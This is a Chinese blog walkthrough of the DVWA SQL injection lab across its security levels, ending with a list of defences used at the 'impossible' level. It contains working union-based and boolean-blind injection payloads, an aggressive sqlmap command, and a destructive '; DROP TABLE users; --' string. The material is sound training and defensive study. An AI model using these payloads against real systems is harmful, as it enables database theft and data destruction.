dvwa7——SQL Injection

LOW:

f12打开hackbar

 一:判断注入类型

输入id=1'报错

闭合单引号 ,页面恢复正常

所以为单引号字符型

二:开始攻击

1.判断列数

?id=1' order by 2--+

到3的时候开始报错,所以一共两列 

2.爆回显位置

?id=-1' union select 2,3--+

3.爆数据库名和版本号

?id=-1' union select database(),version()--+

4.爆表名

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.爆库名

 (1)guestbook

(2)users

 6.爆guestbook的数据:

MEDIUM:

发现界面变成了这样:

随便提交一个,submit的时候用bp抓包

抓到这些,我们发现这一关的提交形式从get变成了post,格式以红框内为准

继续打开hackbar,发现单引号双引号括号无论闭合不闭合都报错,所以我们判断为数字型

id=1 order by 3&Submit=Submit

到3的时候报错,所以一共两列 

剩下的表单爆数据不再过多赘述 

HIGH:

直接输入前边无正确回显,可以用盲注,参考这一章

1' and 1=1#
1' and 1=2#

前者正常,后者无回显,所以是字符型注入,参考这一篇

sqli—labs第八关——布尔盲注_sqli-labs盲注脚本-CSDN博客

IMPOSSIBLE:

优化部分:

checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

1.checktoken() 

2.mysqli_real_escape_string()转义函数去除反斜杠

3.pdo预处理,参数化查询

4.limit 1限制返回结果

5.generateSessionToken()在文件末尾生成新token供下次使用

6.captcha验证(recaptcha_check_answer())(人机验证)

### 关于 DVWASQL 注入漏洞的测试与利用 DVWA(Damn Vulnerable Web Application)是一个用于教育目的的 PHP/MySQL 应用程序,旨在提供各种级别的安全性来帮助用户了解常见的 Web 漏洞及其利用方式。其中,SQL 注入模块允许用户通过输入特定的数据查询数据库并获取敏感信息。 #### 使用 Sqlmap 自动化检测和利用 SQL 注入漏洞 Sqlmap 是一种流行的开源渗透测试工具,能够自动化检测和利用 SQL 注入缺陷,并接管数据库服务器[^1]。对于初学者来说,在 DVWA 的低安全级别下,可以尝试手动构建恶意 SQL 查询语句或者借助 sqlmap 来完成自动化的攻击过程。 以下是使用 sqlmap 对目标 URL 进行扫描的一个简单命令示例: ```bash sqlmap -u "http://<target_ip>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --risk=3 --level=5 --random-agent --batch ``` 上述命令中的参数解释如下: - `-u` 或 `--url`: 指定要测试的目标地址。 - `--risk`: 设置请求的风险等级 (范围为 1 到 3),更高的风险意味着更复杂的测试技术被启用。 - `--level`: 定义执行测试的数量级 (取值区间为 1 至 5),数值越大越全面但也可能增加误报率。 - `--random-agent`: 随机更改 User-Agent 字符串以绕过某些防护机制。 - `--batch`: 不提示任何交互式选项,默认采用推荐设置继续运行。 #### 手工构造 SQL 注入字符串的方法 除了依赖像 sqlmap 这样的自动化工具外,还可以自己动手编写注入脚本或直接在浏览器栏里修改 GET 请求参数来进行实验。例如,在最低难度模式下的 DVWA SQL Injection 页面上,可以通过向 id 参数附加布尔条件表达式的方式验证是否存在可利用之处: 如果访问路径形如 http://example.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit ,那么你可以试着将其改为下面的形式之一看看返回的结果是否有变化: - `' OR '1'='1` —— 如果页面正常显示记录,则表明存在基于布尔逻辑判断的 SQL 注射点; - `'; DROP TABLE users; --` —— 尝试破坏数据表结构(仅限学习环境,请勿滥用!); 这些例子展示了如何通过改变传给应用程序后台处理函数的实际值从而影响最终生成的 SQL 文本来达到控制行为的目的[^2]。 请注意,以上操作均应在授权范围内进行合法合规的研究活动当中实施,切忌非法入侵他人系统!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值